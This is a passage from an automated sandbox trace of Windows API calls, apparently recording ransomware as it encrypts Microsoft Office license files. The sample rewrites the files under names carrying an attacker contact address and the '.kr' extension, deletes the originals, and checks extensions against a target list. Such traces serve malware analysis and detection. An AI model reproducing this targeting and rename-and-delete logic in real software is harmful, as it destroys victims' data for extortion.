lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0204.307] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.307] WriteFile (in: hFile=0x520, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x116, lpOverlapped=0x0) returned 1 [0204.307] SetEndOfFile (hFile=0x520) returned 1 [0204.307] CloseHandle (hObject=0x520) returned 1 [0204.308] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.308] SetEndOfFile (hFile=0x3ec) returned 1 [0204.310] CloseHandle (hObject=0x3ec) returned 1 [0204.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 1 [0204.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.311] lstrlenW (lpString=".doc") returned 4 [0204.311] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.311] lstrlenW (lpString=".docx") returned 5 [0204.311] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.312] lstrlenW (lpString=".pdf") returned 4 [0204.312] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.312] lstrlenW (lpString=".xls") returned 4 [0204.312] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.312] lstrlenW (lpString=".xlsx") returned 5 [0204.312] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.312] lstrlenW (lpString=".ppt") returned 4 [0204.312] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.312] lstrlenW (lpString=".zip") returned 4 [0204.312] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.312] lstrlenW (lpString=".rar") returned 4 [0204.312] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.312] lstrlenW (lpString=".bz2") returned 4 [0204.312] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.312] lstrlenW (lpString=".7z") returned 3 [0204.312] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.312] lstrlenW (lpString=".dbf") returned 4 [0204.312] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.312] lstrlenW (lpString=".1cd") returned 4 [0204.312] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.312] lstrlenW (lpString=".jpg") returned 4 [0204.312] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.312] lstrlenW (lpString=".doc") returned 4 [0204.312] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.312] lstrlenW (lpString=".docx") returned 5 [0204.312] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.312] lstrlenW (lpString=".pdf") returned 4 [0204.313] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.313] lstrlenW (lpString=".xls") returned 4 [0204.313] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.313] lstrlenW (lpString=".xlsx") returned 5 [0204.313] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.313] lstrlenW (lpString=".ppt") returned 4 [0204.313] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.313] lstrlenW (lpString=".zip") returned 4 [0204.313] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.313] lstrlenW (lpString=".rar") returned 4 [0204.313] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.313] lstrlenW (lpString=".bz2") returned 4 [0204.313] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.313] lstrlenW (lpString=".7z") returned 3 [0204.313] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.313] lstrlenW (lpString=".dbf") returned 4 [0204.313] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.313] lstrlenW (lpString=".1cd") returned 4 [0204.313] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83 [0204.313] lstrlenW (lpString=".jpg") returned 4 [0204.313] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.313] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.313] lstrlenW (lpString="O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 37 [0204.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.314] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11635) returned 1 [0204.314] CloseHandle (hObject=0x3ec) returned 1 [0204.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 0x220 [0204.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.315] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.315] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0204.316] GetLastError () returned 0x0 [0204.316] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d73, lpOverlapped=0x0) returned 1 [0204.329] WriteFile (in: hFile=0x520, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0204.330] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.331] WriteFile (in: hFile=0x520, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0204.331] SetEndOfFile (hFile=0x520) returned 1 [0204.331] CloseHandle (hObject=0x520) returned 1 [0204.331] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.331] SetEndOfFile (hFile=0x3ec) returned 1 [0204.334] CloseHandle (hObject=0x3ec) returned 1 [0204.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 1 [0204.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.335] lstrlenW (lpString=".doc") returned 4 [0204.335] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.335] lstrlenW (lpString=".docx") returned 5 [0204.335] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.335] lstrlenW (lpString=".pdf") returned 4 [0204.336] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.336] lstrlenW (lpString=".xls") returned 4 [0204.336] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.336] lstrlenW (lpString=".xlsx") returned 5 [0204.336] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.336] lstrlenW (lpString=".ppt") returned 4 [0204.336] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.336] lstrlenW (lpString=".zip") returned 4 [0204.336] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.336] lstrlenW (lpString=".rar") returned 4 [0204.336] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.336] lstrlenW (lpString=".bz2") returned 4 [0204.336] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.336] lstrlenW (lpString=".7z") returned 3 [0204.336] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.336] lstrlenW (lpString=".dbf") returned 4 [0204.336] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.336] lstrlenW (lpString=".1cd") returned 4 [0204.336] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.336] lstrlenW (lpString=".jpg") returned 4 [0204.336] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.336] lstrlenW (lpString=".doc") returned 4 [0204.336] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.336] lstrlenW (lpString=".docx") returned 5 [0204.336] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.336] lstrlenW (lpString=".pdf") returned 4 [0204.336] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.337] lstrlenW (lpString=".xls") returned 4 [0204.337] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.337] lstrlenW (lpString=".xlsx") returned 5 [0204.337] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.337] lstrlenW (lpString=".ppt") returned 4 [0204.337] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.337] lstrlenW (lpString=".zip") returned 4 [0204.337] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.337] lstrlenW (lpString=".rar") returned 4 [0204.337] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.337] lstrlenW (lpString=".bz2") returned 4 [0204.337] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.337] lstrlenW (lpString=".7z") returned 3 [0204.337] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.337] lstrlenW (lpString=".dbf") returned 4 [0204.337] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.337] lstrlenW (lpString=".1cd") returned 4 [0204.337] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0204.337] lstrlenW (lpString=".jpg") returned 4 [0204.337] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.337] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.337] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 42 [0204.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.338] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=24386) returned 1 [0204.338] CloseHandle (hObject=0x3ec) returned 1 [0204.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0204.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.339] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.339] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0204.340] GetLastError () returned 0x0 [0204.340] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5f42, lpOverlapped=0x0) returned 1 [0204.342] WriteFile (in: hFile=0x520, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5f50, lpOverlapped=0x0) returned 1 [0204.344] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.344] WriteFile (in: hFile=0x520, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x128, lpOverlapped=0x0) returned 1 [0204.344] SetEndOfFile (hFile=0x520) returned 1 [0204.344] CloseHandle (hObject=0x520) returned 1 [0204.344] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.344] SetEndOfFile (hFile=0x3ec) returned 1 [0204.608] CloseHandle (hObject=0x3ec) returned 1 [0204.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0204.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.624] lstrlenW (lpString=".doc") returned 4 [0204.624] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.624] lstrlenW (lpString=".docx") returned 5 [0204.624] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.624] lstrlenW (lpString=".pdf") returned 4 [0204.624] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString=".xls") returned 4 [0204.625] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString=".xlsx") returned 5 [0204.625] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.625] lstrlenW (lpString=".ppt") returned 4 [0204.625] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.625] lstrlenW (lpString=".zip") returned 4 [0204.625] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString=".rar") returned 4 [0204.625] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString=".bz2") returned 4 [0204.625] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString=".7z") returned 3 [0204.625] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.625] lstrlenW (lpString=".dbf") returned 4 [0204.625] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.625] lstrlenW (lpString=".1cd") returned 4 [0204.625] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.625] lstrlenW (lpString=".jpg") returned 4 [0204.625] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.625] lstrlenW (lpString=".doc") returned 4 [0204.625] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString=".docx") returned 5 [0204.625] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.625] lstrlenW (lpString=".pdf") returned 4 [0204.625] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.625] lstrlenW (lpString=".xls") returned 4 [0204.626] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.626] lstrlenW (lpString=".xlsx") returned 5 [0204.626] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.626] lstrlenW (lpString=".ppt") returned 4 [0204.626] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.626] lstrlenW (lpString=".zip") returned 4 [0204.626] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.626] lstrlenW (lpString=".rar") returned 4 [0204.626] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.626] lstrlenW (lpString=".bz2") returned 4 [0204.626] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.626] lstrlenW (lpString=".7z") returned 3 [0204.626] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.626] lstrlenW (lpString=".dbf") returned 4 [0204.626] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.626] lstrlenW (lpString=".1cd") returned 4 [0204.626] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0204.626] lstrlenW (lpString=".jpg") returned 4 [0204.626] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.626] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.626] lstrlenW (lpString="O365ProPlusR_Subscription3-pl.xrm-ms") returned 36 [0204.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.627] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11195) returned 1 [0204.627] CloseHandle (hObject=0x3ec) returned 1 [0204.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms")) returned 0x220 [0204.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.628] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.628] 